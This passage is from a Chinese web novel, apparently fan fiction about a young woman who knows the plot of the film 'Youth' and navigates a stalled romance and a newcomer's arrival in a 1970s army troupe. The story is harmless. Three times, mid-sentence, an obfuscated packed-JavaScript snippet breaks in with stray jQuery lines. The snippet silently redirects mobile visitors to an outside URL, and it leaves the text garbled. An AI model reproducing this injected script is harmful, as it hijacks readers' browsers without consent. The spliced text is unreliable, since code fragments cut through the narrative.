在她眼里,兆悦优秀、亮眼,走到哪儿都惹眼,又和杨铮青梅竹马,若是兆悦也喜欢杨铮,那她怕是一点胜算都没有。
如今亲眼看见兆悦的心在陈灿身上,她等于少了一个最厉害的对手,这让她怎么能不暗自窃喜。
更何况,沈一娣本就不是那种爱到处嚼舌根、搬弄是非的人。
兆悦是她在文工团里为数不多的朋友,和自己也是十三四岁就认识的,她打心底里把兆悦当自己人。
她轻轻咬了咬唇,把刚才看到的一切默默压在了心底。
就当自己什么都没看见。
她会替他们,好好守住这个秘密。
22. 选择
陈灿自从把兆悦那张婚纱照揣进军装内兜,整个人就像揣了颗发烫的小太阳,片刻都不得安生。
没人的时候,他就躲在被窝里,借着一点点微光摸出来看上一眼;洗漱间隙、训练空档,也总要下意识按一按胸口,确认照片还安安稳稳待在那儿。
他不敢让同宿舍的朱克、杭春明他们发现,只能偷偷摸摸、藏藏掖掖,每看一眼,心里都又甜又痒,嘴角控制不住往上扬。
照片上的人穿一身干净婚纱,眉眼温柔,看得他心跳频频失控。
另一边,兆悦也收到了远方父母寄来的生日礼物——料子考究的时髦衣服,一双精致小皮鞋。
只是在文工团里,平日里不是练功服就是统一军装,根本穿不上这些,她收好,压在箱子最底下。
一同寄来的还有一封信,纸上满满都是关心:生日快乐,在那边照顾好自己,按时吃饭,别太累。没有以往那些严厉的规训,没有强硬的要求,也没有令人窒息的控制。
兆悦捏着信纸,长长松了口气,难得从家信里感受到一点轻松,没有之前每次拆信时的压抑和不适。
可她不知道,千里之外的家里,早已是狂风骤雨。
兆悦之前在文工团和老战士看书、私下写作的事,被熟人辗转传到了父母耳朵里。
父亲得知后勃然大怒。从她小时候起,他就反复叮嘱,风声紧的时候绝对不能碰文字,更不能留下任何东西。
如今形势最是敏感,她不仅写了,还敢把书稿藏起来,甚至听说她冲进火堆把书抢了回来。
在父亲看来,烧了就烧了,何必多此一举。
她拼命护着书稿的行为,在别人眼里就是立场、是态度,是能被人抓一辈子的把柄。
他又气又急,一辈子刚正不阿,最忌讳这种能被揪住的麻烦。
母亲表面平静,心思却更深。
她在体制内多年,比军人出身的父亲更懂那些弯弯绕绕。她沉默许久,缓缓开口:“现在生气没用,悦悦性子犟,拦是拦不住的。”
“那你说怎么办?”
“真要保她,最稳妥的路子,就是送她去一线。去战场,去真正的前线历练,立点功、挣个名头回来。”母亲声音低沉,“以后就算有人拿写作的事做文章,她有前线的资历在,谁也不能把她怎么样。”
写下那封温和家信时,消息还没有传入他们的耳朵,这个决定滞后了很多。
在兆悦放下戒备、心里松快的那一刻,远方的安排与控制,已经在悄然收紧,比以往任何一次都要重。
兆悦对此一无所知。
她只觉得最近日子格外舒心:和陈灿的关系悄悄升温,父母的信也不再让人窒息,整个人一放松,警惕也跟着弱了下来。
可越是轻松,她心里越隐隐发慌。
夜里躺在床上,她常常睁着眼发呆。
十八岁,刚成年,放在这个年代,有人已经早早成家,但多数人还是以训练、工作为先。她和陈灿这样不清不楚、暧昧拉扯,进度实在太慢。
她能清晰感觉到,萧穗子看陈灿的眼神越来越柔,那份藏在心底的喜欢,一天比一天重。
郝淑雯也变了,以前只是大大咧咧,带着干部子弟的清高,现在却总有意无意找陈灿说话、斗嘴,那点说不清道不明的心思,已经悄悄冒芽。
兆悦心里一阵发紧。
她怕剧情的惯性太强,怕有些事一旦到了节点,就再也不可逆。
她估摸着,再过不久,夏天或是秋天,何小萍就要正式进文工团。
那意味着,电影里真正的故事要拉开序幕,所有矛盾、所有伤害,都会一步步上演。
她必须抓紧。
必须和陈灿把关系再推进一步,把名分挑明,把彼此绑得更紧。
只有这样,她手里的筹码才够重,才能护住想护的人,才能改变那些注定的结局。
可她不能太主动。
女孩子主动过头,反而显得廉价。
两人现在就靠偶尔眼神交汇、私下偷偷见面、你撩我一下我逗你一下,进度慢得让人着急。
兆悦轻轻咬了咬唇。
得找个契机。
得想个办法,让他先迈那一步。
团里乐队那位二十二岁的萨克斯手要转行离队的消息,是宁政委亲自到场宣布的。
他站在排练厅中央,扫过众人汗津津的脸,语气平静地交代了安排,顺带看了一圈大伙的训练状态。
舞步刚停,乐声还绕在梁上,这消息一落,排练厅里瞬间炸开了轻响。
解散后众人凑在一处闲聊,话题自然绕到了未来。林丁丁拢了拢头发,语气笃定:“我就想一直唱独唱,好好学声乐,别的不想。”
萧穗子垂着眸没说话,只安静听着。七嘴八舌里,有人说想当医生,有人说想做护士,都是那个年代最稳妥普遍的选择。
杭春明挠挠头,笑得一脸真诚:“我没别的想法,悦儿姐去哪儿,我就去哪儿。”
兆悦依旧沉默,她素来冷淡,众人早已习惯,只当她是不爱谈论这些。
话题越聊越沉,年少的心里都蒙着层迷茫,待在文工团里仿佛岁月安稳,可谁也说不清明天会是什么模样。
傍晚食堂吃饭,林丁丁摘下手腕上的手表,轻轻递到刘峰面前,软声请他帮忙修理。
刘峰立刻应下,眼里藏着藏不住的欢喜——他本就是热心肠的活雷锋,更别提是帮自己放在心上的人。
兆悦看着这一幕,心猛地一沉,她清楚记得,原著里何小萍刚进团不久,刘峰刚修好表还给林丁丁,这细节串起,意味着何小萍到来的日子越来越近了。
她比谁都清楚,文工团终会在1980年左右解散,眼下的安稳不过是暂时的世外桃源。
写作是她刻在骨子里的热爱,可自从写完《成长边缘》的结局,她便再也不敢提笔。
时代的紧绷感压得人喘不过气,稍有不慎便是祸端。
最近和陈灿的关系也平淡得像水,浅浅的拉扯,不远不近。
团里开始紧锣密鼓排练《草原女民兵》,熟悉的旋律一响,兆悦便知道,剧情的齿轮正在加速转动。
她带着现代人的急切,恨不能立刻和陈灿挑明关系,可十七八岁的年纪,在这个年代里尚算青涩,陈灿反倒享受着这份暧昧,不慌不忙。
她不能太过主动,只能守着分寸干着急,心里的焦虑越积越重。
心事太重,练舞时终究分了神。
一个转身没站稳,脚踝传来尖锐的疼,她直直摔在地上。
陈灿还没来得及反应,杭春明已经快步冲上前,小心翼翼将她打横抱起,往卫生队赶。
他是舞蹈演员,离得近,动作快,全然是下意识的护着。
陈灿僵在原地,指尖攥得发白,他没有身份,没有立场,连上前关心的资格都没有,只能看着两人的背影消失在门口。
卫生队里,杭春明一眼便看出兆悦心绪不宁,从小一起长大,她的情绪从来瞒不过他。
“悦儿姐,你最近心里是不是压着事?”
兆悦垂着眼,声音轻得发飘:“有些迷茫,好多事……不知道该怎么往前迈。”
杭春明笑得坦荡又踏实:“别想那么远,天塌下来,我都陪你一起扛着。”
可这话没能安慰到她。
杭春明有舞蹈有武术,是男孩,去哪里都能立足,而她身上枷锁重重,未来一片未知。
一个危险的念头在她心里冒出来:若陈灿始终不主动,她是不是真的要另寻一条稳妥的路?
鸡蛋不能放在一个篮子里,这个道理她比谁都懂。可时代的纯粹又刻进了她的骨血,让她做不出随便将就的选择和脚踏两只船,只能在纠结里反复煎熬。
另一边,沈一娣鼓起勇气向杨铮表露心意,却被委婉拒绝。
她满心委屈,只能来找兆悦倾诉。两个心事重重的女孩并肩在营区散步,互相吐露感情里的不顺。
沈一娣忽然提起上次在排练厅外看到她和陈灿的事,兆悦心头一紧,一阵后怕。
若是被旁人,尤其是有心人看见,她和陈灿还没名没分,必定会惹来处分。
她暗暗下定决心要更加谨慎,可越是小心,关系推进得就越慢,这场谈心非但没让她释怀,反而更添焦虑。
沈一娣倒是想通了,强扭的瓜不甜,索性放下心思做朋友,反倒轻松了。
兆悦的脚伤不重,休息几天便能好转,只是不能再跳舞,便暂时在乐队帮忙弹琴。
这几天里,陈灿的关心全在暗处:走路时悄悄留意她的脚,拎重物时主动搭把手,洗碗间隙低声问她好些没。
可这些细碎的关怀,在兆悦眼里根本抵不过关系停滞的焦虑,半点也安抚不了她的心。
他再好,不往前迈一步,又有什么用。
很快,团里为那位转行的萨克斯手举办了欢送会。二十出头的男生笑着说,回老家后就要结婚了。
众人一片惊叹,心里涌上说不清的滋味——比他们大不了几岁的人,已经要步入婚姻,或许用不了多久,这样的事也会轮到自己。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309104|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>闲话飘进兆悦耳朵里,只让她更加低落,全然提不起兴趣。
当晚她独自去营区散步。陈灿练完小号没等到她,猜她去了散步,便快步去找。
刚看见兆悦的背影,正要上前,就见一个男兵走到她身边,两人并肩走在了一起。
这个男兵是郑玺,干部子弟,年纪轻轻便有官职。
前几天兆悦和沈一娣谈心后,她独自一人又走了一段,偶遇营区的流浪猫,逗猫时认识了郑玺,一来二去便熟了。
兆悦确实将郑玺纳入了考量,可和他走在一起,心里却没有半分和陈灿相处时的悸动,哪怕知道他是稳妥的依靠,也提不起半分真心。
这一幕落在陈灿眼里,瞬间点燃了他的火气。
由于上次刘予一事的误会,他这次慎重了很多,多方打探,得知郑玺和兆悦毫无亲戚关系,且郑玺早已对兆悦上了心,打算好好相处、往长远里打算,是奔着谈婚论嫁去的。
陈灿又气又急,这次他清楚地知道,兆悦是真的在看向别人了。
他强压下冷战的念头,知道一旦冷战,便再也回不了头,只能打定主意找兆悦问清楚。
晚饭后,他终于找到机会,趁着没人拦在她面前,声线绷得发紧:“晚上七点,排练厅,我有话问你。”
兆悦抬眼看他,眼底藏着一丝微弱的期待,轻轻点了点头。
灯只开了两盏,昏黄的光把排练厅映得安静又闷。
陈灿先开了口,语气听着随意,却藏着较劲:“你最近,跟郑玺走得挺近啊。”
兆悦愣了愣,语气平淡:“碰到了,就多说两句。”
陈灿指尖微微蜷起。
他没立场质问,可心里又堵得慌——他们明明都这样相处了,她怎么还能若无其事地跟别人走那么近。
是把他当备选,还是根本就没把他放在心上。
他压着声,有点闷:“我没懂你到底怎么想的。我以为……我们之间,彼此都懂。”
兆悦心里一下就凉了半截。
又是这样,永远模模糊糊,永远不把话说清楚。
她抬眼,声音轻却冷:“什么叫我们都懂?我们是怎样?”
陈灿被她这态度刺了一下,语气立刻重了:“你这话什么意思?你是觉得,我们没什么关系?”
兆悦怔住一瞬,随即只觉得可笑又心酸。
本来就是你一直不肯确认,现在倒来问我?
她咬了咬牙,故意把话说得干脆,就是在逼他、等他:“对,我们本来就没什么关系。”
她在等他说:不是没关系,我是想和你在一起的。
可陈灿完全听反了。
他只觉得,她这是在明晃晃撇清他。
少年那点骄傲和委屈一起涌上来,刚才那点认真瞬间收了回去,重新披上那层吊儿郎当、满不在乎的外壳,语气淡得像赌气:“行,那就当没什么关系。”
兆悦整个人都僵住,心猛地沉到底。
原来她逼到这一步,他只当是没关系。
她脸上最后一点温度也褪得干净,声音冷得像冰:“那你叫我过来,到底想问什么?”
陈灿被问得一噎。
话都说到这份上,他还有什么立场管她。
可他还是不甘心,硬着头皮问:“你知不知道,郑玺接近你,是奔着谈婚论嫁去的?”
他心里已经退了一步:就算你不喜欢我,就算我们没关系,你也别往火坑里跳,别真跟他定了就行。
可兆悦正在气头上,又委屈又堵,只当他是在嘲讽、在逼问。
她赌气一般,直直回:“我知道。”
这两个字,彻底把陈灿炸毛了。
所有不安、自卑、吃醋、被撇清的火气一起冲上来,他还维持着那副玩世不恭的样子,话一出口就没过脑子:“合着你这么恨嫁,这么着急结婚?”
兆悦本来就憋了一肚子委屈、不安、着急。
被他这么一刺,所有情绪瞬间崩了。
眼眶一红,眼泪控制不住就掉了下来。
陈灿一下子懵了。
他本来还在跟她较劲、跟她赌气,可她一哭,他所有的刺“咔嚓”一声全断了。
慌乱、后悔、心疼、无措,一瞬间全涌上来,手都不知道往哪放。
他张了张嘴,想道歉,想解释,想说他不是那个意思。
可没等他说出一个字,
兆悦抹了把眼泪,转身就跑了出去。
空荡荡的排练厅里,只留下陈灿一个人,和一地碎得捡不起来的心跳。
23. 僵局
兆悦单方面冷战陈灿的日子,就这么不声不响地拖了下去。
她不再刻意避开,却也再没给过他一句多余的话、一个多余的眼神。
面上依旧是那副清淡平静的样子,该训练训练,该集合集合,只是周身像裹了一层薄薄的冰,谁也碰不得。
与此同时,她和郑玺的来往,反倒稳步往前走着。
郑玺人踏实,长相周正,做事稳重妥帖,挑不出半分错处,唯一的缺点,就是太无趣了。
像一杯温吞的白开水,没波澜,没起伏,更没有半点让人心尖发颤的张力。
这些,陈灿全都看在眼里。
他急,却又不知道该怎么伸手。
那天晚上在排练厅的对话,他后来翻来覆去想了无数遍,越想越觉得不对劲。
话赶话堵到一起,语气拧着,心思歪着,明明不是那个意思,说出来却全变了味。
他隐约察觉到,他们之间,是彻头彻尾的理解错位。
可他嘴笨,又拉不下那点少年傲气,更摸不准兆悦现在的心,只能僵在原地,进退两难。
思来想去,他想到了杭春明。
杭春明跟兆悦熟,跟他也算得上说得上话的人。陈灿原本的心思简单又幼稚——想托杭春明帮忙美言几句,先把两人之间僵死的气氛缓和下来。
可他刚旁敲侧击提了两句,杭春明直接一句话戳破:“你不是喜欢她吗?你们俩不是一直在相处吗?”
陈灿当场就懵了:“你怎么知道?我没跟人说过,她跟你讲的?”
“我又不瞎,又不傻。”杭春明瞥他一眼,语气里带着点看不开窍的人的无奈,“悦儿姐什么性子,我跟她认识这么多年,还能不清楚?用得着她亲口说?”
陈灿张了张嘴,最后还是把那天晚上排练厅里的争执,一五一十、原原本本地说了一遍。
从他问起郑玺,到两人赌气说“没关系”,再到他口不择言,把人说哭……一句没藏。
杭春明听完,沉默了好一会儿,只剩一脸恨铁不成钢的无语。
“陈灿,你这脑子……真的转不过弯来吗?”
杭春明心里比谁都清楚,兆悦那是高傲又自持的人。
有些话,只能点到为止,不能挑得太明——那是她的心思,是她的体面,也是她的隐私。
就算他知道兆悦真正在等什么、气什么,也不能直接替她把心剖出来给陈灿看。
那对她不公平。
陈灿也懂,没再追着逼问。
可有些东西,不点透,也隐隐透亮了。
他几乎可以确定,那天晚上,他们想表达的、和对方听见的,完完全全是两回事。
他迫切想找个机会,把话好好说开。
只是命运偏偏不遂人愿。
文工团训练紧、任务多,人来人往,脚步不停,两人总是差那么一点点时间。
要么他有空,她在忙;要么她歇下了,他又被临时叫走。
或许青春本来就是这样。
兵荒马乱,风声鹤唳。
你总以为时间还很多,以为等一会儿、等下一次,把话说开就好。
可青春从来不给人“等一会儿”和“下一次”的缓冲。
不久后,入夏的一场大暴雨,连着下了好几天。
训练结束,大家基本都窝在宿舍不往外跑,雨幕把整个院子都封得严实。
陈灿连单独见兆悦一面的机会,都没有。
直到雨彻底停住,天放晴的那一天。
云层散开,阳光重新洒在排练厅的屋檐上。
文工团里,来了一位新成员。
几场连绵的大暴雨,把文工团大院门口墙上的绿漆冲掉了一大片,斑驳得露出底下灰白的墙皮。泥瓦匠正搭着梯子慢悠悠补漆,雨刚停的空气里还飘着潮湿的土味。
就在这时,刘峰领着一个瘦瘦小小的姑娘走了进来。
两人都裹着墨绿色的雨披,帽檐还滴着水。
刘峰依旧是那副温和厚道的模样,身边的女孩扎着两根乖乖的双马尾,身形单薄,却透着一股韧劲。
大院里正热火朝天练着《草原女民兵》,裙摆翻飞,口号整齐。
兆悦坐在一旁的钢琴前,指尖落在琴键上没再动。
她心里轻轻一沉。
预感成真了。
跟着这场大雨过后的晴天一起踏进文工团的,正是何小萍。
和记忆里电影中的模样分毫不差——瘦削的脸庞,眼神里藏着不服输的精神力,安静又倔强。
兆悦看着她,心底先生出几分好感。她记得这个姑娘的善良,也记得她曾被人怎样对待过。
“女演员休息!男演员准备《行军路上》!”
分队长一声喊,打破了排练的节奏。
他又转头朝乐队的方向喊:“老廖,心疼心疼舞蹈队的姑娘们,跟赶集似的,累坏了!”
乐队应声停下。
钢琴声一停,郝淑雯立刻直起身,眼尖瞥见门口的刘峰,当即扯着嗓子笑嚎:“哟——欢迎学雷锋标兵刘峰凯旋归来啊!”
刘峰腼腆笑了笑,照旧是那番话:“你们几个家在北京的,爹妈都托我捎了好吃的,等会儿给你们拿过来。”
人群边缘,陈灿一个人靠在角落,安安静静吹着小号。
调子低沉,没什么精气神。
自从那天和兆悦闹崩,他整个人都陷在低迷里,冷战像一堵密不透风的墙,他撞了几次,都找不到缺口。
萧穗子正对着镜子整理发型,别着发卡,指尖微微顿住。
她的目光透过镜面,轻轻落在吹小号的少年身上,安静又隐秘。
忽然,身后传来一声轻嗤。
郝淑雯走了过来,眼神里带着十成十的笃定,明知故问:“看什么呢?”
萧穗子脸色一僵,瞬间局促起来。
郝淑雯撑着把杆,也朝陈灿的方向望了一眼,见他兀自低头吹号,撇了撇嘴,语气里藏着几分怪异的兴奋:“有什么好看的?我怎么不觉得他哪儿好,配不上你。”
这话直白得让穗子脸一红,立刻反驳:“你想哪儿去了!”
她慌忙别开眼,不肯把心底那点小心思袒露半分。
而这段对话的中心人物——角落里的陈灿,依旧垂着眼,对身后两个姑娘的眼神与议论,毫无察觉。
分队长走上前,对着何小萍温和开口:“欢迎你入伍,来,和大家伙认识认识。”
话音刚落,一声清亮的口哨忽然划破空气。
所有人动作一顿,连角落里兀自低沉吹着小号的陈灿,也下意识抬头望了过去。
可他目光只是淡淡一扫,很快又不受控制地,落回了钢琴旁的兆悦身上。
奇怪的是,一向眼高于顶、对什么都淡淡漠漠的她,此刻竟眼睛一眨不眨,直直望着刚进门的新成员。
分队长没在意那点小插曲,清了清嗓,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309105|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正式介绍:“我给大家介绍一位新同志——她叫何小萍,是舞蹈队托刘峰从北京接来的新兵。”
和电影里一模一样。
一旁的刘峰立刻上前打圆场,语气诚恳:
“我们坐了两天两夜的火车,她一直没活动,身子僵,容易受伤。”
他是想让她先缓一缓。
分队长看向何小萍:“行吗?”
何小萍没抬头,说行,默默脱下身上的雨披。
刘峰伸手正要去接,电光火石之间,兆悦猛地回过神。
就是这里。
这是一切恶意的开端——只要郝淑雯接过这件外套,闻到那股汗味与体味,从此排挤、嫌弃、孤立,就会全部砸在这个姑娘身上。
甚至等会儿何小萍转圈,都会因为郝淑雯那个嫌恶的动作而失误。
她顾不上维持冷淡高傲的人设,脚步一抬,快步上前。
终于抢在郝淑雯伸手之前,兆悦轻轻一伸手,稳稳接住了何小萍的衣服。
动作自然,没有半分嫌弃。
分队长没察觉这暗流,还在笑着说:“我去年去北京招生,就对小萍印象很深,可惜当时名额用完了。”说着,笑眯眯看向兆悦和杭春明。
兆悦心头轻轻一叹。
原来从那时候起,命运的齿轮就已经错开,只是当时身在局中,谁也看不清。
怀里的外套确实带着一股久未换洗的汗味,还有淡淡的、不易闻的体味。
她却只是稳稳拿着,神色如常。
“何小萍可是我找政治部首长特批过来的。”分队长还在介绍。
一旁的郝淑雯凑上来,想跟兆悦说两句。
兆悦却不动声色地侧身,轻轻闪到刘峰身边。
郝淑雯愣了一下,也只好作罢。
兆悦垂眸,轻轻抚了抚怀里的外套。
既然她在这里,既然她知道后来所有的委屈与苦难,那这一次,她就不能让何小萍这样善良、这样坚韧的人,再平白受那些不该受的苦。
音乐再起。
这一次,没有旁人隐晦的嫌弃,没有暗中的打量与窃窃私语。
何小萍深吸一口气,迈步、起势、旋转。
每一个动作都干净利落,每一步落脚都稳当扎实。
没有慌乱,没有失神,更没有因旁人的目光而失误。她像一株在风雨里硬生生长出来的小草,看着瘦弱,骨子里却全是韧劲。
一套动作下来,干净、完整、近乎完美。
全场静了一瞬,随即爆发出满堂的喝彩与掌声。
连分队长都忍不住点头,眼里满是赞许:“好!好底子!”
兆悦抱着那件外套,站在一旁,轻轻松了口气。
她忽然想起去年,也是这样的时节,也是这样的目光环绕,她站在众人面前接受审视。
她跳得好,可那里面有大半是从小受过的现代舞底子,是条件、是环境堆出来的。
可何小萍不一样。
她没有优越的条件,没有系统的启蒙,这一身扎实功底,全是靠自己一点点拼、一点点磨、一点点死磕出来的。
这一点,在场所有人都看得明明白白。
也正因如此,这一次落在何小萍身上的称赞里,没有一丝嘲讽,没有一丝嫌弃,没有一丝居高临下的怜悯。
全是实打实的认可。
命运的轨迹,就在这一个小小的、无人察觉的细节里,悄悄转了弯。
24. 改变
何小萍这一次,既没住进郝淑雯的宿舍,也没撞见林丁丁的军装,更没被人围着取笑敬礼的姿势像耍猴。
一切都悄悄变了。
还是萧穗子礼貌又热心地陪着她,领了蚊帐、被子、脸盆、漱口杯一应杂物。
等穗子回到自己宿舍时,身边已经没了何小萍的身影——她被安排和沈一娣住到了一起。
兆悦听说后,心里稍稍松了口气。
看来,就算她是这个世界、这部电影里原本不存在的人,就算她伸手干涉了主角的人生,天也没有塌,轨迹也没有崩。
既然她能改变何小萍的命运,那是不是意味着——陈灿和郝淑雯,也未必就会像电影里那样走到一起。
电影里那段拍得太隐晦,她早已记不清两人究竟是为什么、在哪一刻定下来的。
不过,她心里那股紧绷的急,总算缓了几分。
可一想起上次排练厅不欢而散,他那句“我们本来就没什么关系”,心口又沉沉地坠了下去。
一起去澡堂的路上,气氛还算轻松。
兆悦主动走到何小萍身边搭话。没有排挤,没有嘲笑,何小萍融入得比预想中快,回答时也不再那么怯生生。
旁边几个人,都在不动声色地竖着耳朵。
郝淑雯状似随意地开口,笑着问何小萍:
“你舞跳得这么好,家里肯定给你找了特别好的老师吧?”
何小萍指尖微微一紧。
她有个正在劳改的生父,早已划清界限,如今跟着继父姓,继父是革命干部,可她从不愿拿这个说事。
就在她要轻轻摇头时,兆悦先一步接过话,语气自然得像随口一提:“我听刘峰说了,你父亲是革命干部,你也是干部子弟呀。”
一模一样的场景,只是角色换了。
一年前,是郝淑雯盘问她,兆悦不愿搭理,是沈一娣替她接了话,挑明了身份。
一年后,还是郝淑雯在试探,这一次,换成她兆悦,替何小萍稳稳接住了难题。
兆悦心里轻轻叹——这位郝淑雯同志,对“干部子弟”这四个字,还真是执着。
这话一出,郝淑雯当即信了。
兆悦没必要撒谎。
几个人在心里把“干部子弟”这几个字过了一遍,看向何小萍的眼神,又客气亲近了几分。
一行人说说笑笑进了澡堂。
兆悦悄悄挪到何小萍身边,声音放轻:“咱们以后练功苦,天天都得出一身汗,天天都得来这儿洗,可得掉层皮。”
何小萍默默记在心里。
原来在这里,可以天天洗澡。
等洗完出来,兆悦见何小萍还在慢慢收拾,便站在外面等她。
何小萍怎么会感受不到——从帮她接过衣服,到替她解围,再到悄悄提醒她规矩,从头到尾,都是这个叫兆悦的女孩在护着她。
两人一起走进食堂,今天吃饺子。
早在上宿舍时,就有人扒着窗户喊,晚上吃饺子。
电影里,林丁丁是最不爱吃饺子的。
刘峰记在心里,悄悄用自己的电炉子煮了挂面,淋上香油,端到她面前。
兆悦看着一笼饺子,太阳穴都有点疼。
在她这儿,所有面食都是热量炸弹,饺子更是头号黑名单。
何小萍是真饿了,捧着碗埋头吃得香。
兆悦坐在桌边,一个也不想动。
耳边很快响起一阵起哄的八卦笑——刘峰把那碗淋了香油的挂面递到林丁丁面前,一群人看得姨母笑。
兆悦没凑热闹,只对着眼前的饺子发愁。
硬塞了两个,实在咽不下去。
好在杭春明不知从哪儿冒出来,往她桌上放了两个红彤彤的西红柿。
兆悦抬头,一脸“救命之恩”的表情看他。
杭春明只对她捶了捶胸口,一副“兄弟在心中”的模样,转身就走。
萧穗子凑过来,拿起她没怎么动的饺子碗:
“你要是不吃,我端给乐队的人了,别浪费。”
兆悦没多想,随口“嗯”了一声。
可下一秒,她忽然觉得这画面眼熟得刺目。
一抬头,正对上一道直勾勾盯过来的目光。
除了陈灿,还能有谁。
萧穗子端着那只碗,脚步稳而轻地走向乐队那边。
这是她第一次这么主动,强装镇定,把碗往陈灿面前一放:“你不是老说不够吃吗?都吃了,不许剩啊。”
电影里,陈灿会高高竖起大拇指,笑着给她点个赞。
可这一次,他反应完全不一样。
他的目光先落在碗上——那是兆悦用过的碗。
只淡淡分了一点心神给穗子,低声说了句“谢谢”,视线便立刻越过人群,牢牢落在兆悦身上。
兆悦心脏轻轻一缩,飞快低下头,假装专心啃自己的西红柿。
刘峰拿出了前段时间林丁丁让他帮忙修的表,大谈特谈自己是如何自学修表,把这个表修好的。
林丁丁当然也提供了非常足够的情绪价值,夸的刘峰飘飘然。
紧接着郝淑雯拿着一瓶醋过来:“王友全家属带来的山西老陈醋,给你们沾点光。”
紧接着郝淑文雯又特夸张的说:“哟,刘峰,你这饭盒里的饺子怎么都是破的呀?你这成吃饺子皮啊。”
刘峰还是老好人的样子,说这破饺子也得有人吃啊。
他们在那边聊着,但兆悦一句也听不进去,只低头啃着西红柿,忽视前方灼灼的目光。
郝淑问突然把话题转移到萧穗子身上:“下期出板报,你可得好好写写啊。”
说的是刘锋吃破饺子的事情,不过也是开玩笑罢了。
何小萍也跟在旁边笑,兆悦觉得很难得。
刚啃完一个西红柿,门外就跑来一个裹着白围裙的男兵,嘴里一直喊着刘峰的名字。
说刚刚有只猪跑了,还跑马路上了,想入党的人都忙着打扫猪圈儿,又不知道关栅栏。
所有人都笑了出来,唯独陈灿,依旧看着兆悦,兆悦躲着目光。
这时候卓玛趴在了桌子上,萧穗子问隐晦的问她是不是倒霉了?就是经期。
卓玛点头,林丁丁靠过来说,她那有索密痛,你跟我回宿舍拿?
电影当中,他们回来没有找到军装,从而引出了抓偷军装的小偷这件事。
这一次,何小萍没有住到这个宿舍,直接问沈一娣借了军装拍照,一切都相安无事。
不过那只是他们。
陈灿刚拧开水池水龙头,就被旁边郝淑雯溅了一身的水。
陈灿没好气地说:“有你这么洗碗的么?”
郝淑文当然不甘示弱,还像往常一样斗嘴:“不就溅你一身水吗?娘们唧唧,一点不像个男的。”
原剧情当中,陈灿还要和她怼上几句,还说郝淑雯手风琴都拉不稳,活脱脱一对欢喜冤家。萧穗子也逮着机会,要帮陈灿擦一擦。
但是这一次,兆悦和萧穗子几人一起来到了水池边。
兆悦二话没说,手也没洗,冷着脸转身就走,郝淑雯和穗子的注意力都在陈灿身上,自然也没注意到兆悦,何小萍倒是留意到了。
她初来乍到,看不懂他们几个人之间的眉眼官司,只是跟着萧穗子。
陈灿哪还有留在这的心情,没等萧穗子上来帮他擦擦,他就转身离开。
几人只当是他生气了,郝淑雯还在他身后说:“嘿,你这人怎么气性这么大!”
郝淑雯在他身后喊了一声,满脸莫名其妙。
兆悦走得又快又稳,背影绷得笔直,每一步都像是踩在紧绷的弦上,连肩膀都透着一股拒人千里的冷硬。
可只有她自己知道,胸腔里早已翻江倒海,乱成了一团理不清的乱麻。
她气,气刚才水池边那一幕刺得眼睛生疼。
气他和郝淑雯那样熟稔地斗嘴,那样自然地你来我往,像一对天生就该凑在一起的欢喜冤家;气他明明和自己闹到这般僵局,却还能若无其事地和旁人说笑打闹;更气他从头到尾,都读不懂她藏在冷淡底下的那点小心思。
可气着气着,另一股更沉更涩的情绪又狠狠压了下来,把她整个人都裹进死循环里——她又有什么资格吃醋呢?
他们没有告白,没有承诺,没有名正言顺的身份,甚至在上次争执里,亲口把“没关系”三个字钉在了彼此之间。
是他说他们没关系,也是她自己,亲手把那层薄薄的窗户纸撕得干净。
如今她就算心里翻江倒海,就算酸涩得喘不过气,也不过是名不正、言不顺的自作多情,连半句指责的立场都没有。
这么一想,刚才的火气瞬间变成了扎向自己的尖刺,又委屈又憋闷,堵得她心口发疼。
风从走廊那头吹过来,带着雨后未散的凉意,轻轻扫过她发烫的眼角。
她死死咬着下唇,把所有翻涌的情绪都硬压回去,不肯让一丝一毫的脆弱露在外面。
她不肯放慢脚步,不肯回头,更不肯让身后的人看出她分毫的失态。
身后的脚步声越来越近,急促,带着不容错辨的目的性,一下下敲在她的心尖上。
她听得一清二楚,每一步都像是踩在她紧绷的神经上。可她依旧一步也不肯停,依旧把背影挺得冰冷。
兆悦脚步猛地加快,摆明了要甩开身后追来的人。
她步子越迈越急,每一步都带着决绝,只想尽快把陈灿甩在身后。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309106|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚拐过走廊转角,迎面走来两个端着盆说笑的女兵,恰好挡了陈灿的去路。
他下意识顿步避让,不过短短两秒,再抬头时,兆悦的身影已经消失在尽头,径直往女兵宿舍的方向走远了。
兆悦一头扎进宿舍,门在身后轻轻关上,整个人瞬间脱了力。
食堂里那点东西根本没吃几口,饺子一口咽不下,西红柿也只啃了一个,凉丝丝的滋味压不住心口的堵,胃里空得发慌,心里更乱。
